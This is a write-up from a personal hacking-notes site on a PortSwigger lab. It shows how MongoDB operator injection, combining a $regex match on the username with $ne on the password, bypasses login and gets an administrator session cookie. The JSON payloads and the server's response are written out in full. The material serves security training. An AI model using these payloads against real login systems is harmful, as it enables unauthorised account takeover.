> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md).
# Bypass Authentication via Injection NoSQL Controllers
Bypass Authentication via Injection NoSQL Controllers notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting NoSQL Operator Injection to Bypass Authentication
**Lab Background**
The connection functionality of this lab is based on a database **MongoDB (NoSQL)**. / It is vulnerable to \*\* NoSQL injections via MongoDB\*\* operators.
\*\* Target:\*\*/ Connect to the application as **user `administrator`** without knowing its password.
Valid credentials are provided for a standard user:
* **wiener : peter**
**Login Form Behavior**
A login panel is present. / The request sent to the server via **POST** is in JSON format:
```json
{
"username":"wiener",
"password":"peter"
}
```
**Injection attempt with `$ne` operator**
A first idea is to force the administrator to authenticate by indicating that his password is different from x
```json
{
"username": "administrator",
"password": { "$ne": "x" }
}
```
This attempt **does not work** in this particular case.
**Contouring with operator `$regex`**
Injection is possible using the **`$regex`** operator, which allows matching patterns on the fields.
**Example functional with user wiener**
```json
{
"username": {
"$regex": "wie.*"
},
"password": "peter"
}
```
This query corresponds to any user whose name starts with `wie`.
**Access as a passwordless administrator**
Without knowing the administrator's password, the following combination can be used:
```json
{
"username": {
"$regex": "^a"
},
"password": {
"$ne": "x"
}
}
```
\*\* Logical interpretation:\*\*
> « Give me a user whose name starts with **a**/ and whose password **n is not equal to x** »
**Result**
The server accepts the request and responds with a **302 Found**, indicating successful authentication.
A new session cookie is returned:
`Set-Cookie: session=1jnvdOe3aaWIAyrj3WzRRJA1X40Ma1QU`
Access to the application is now carried out as an administrator\*\*
---
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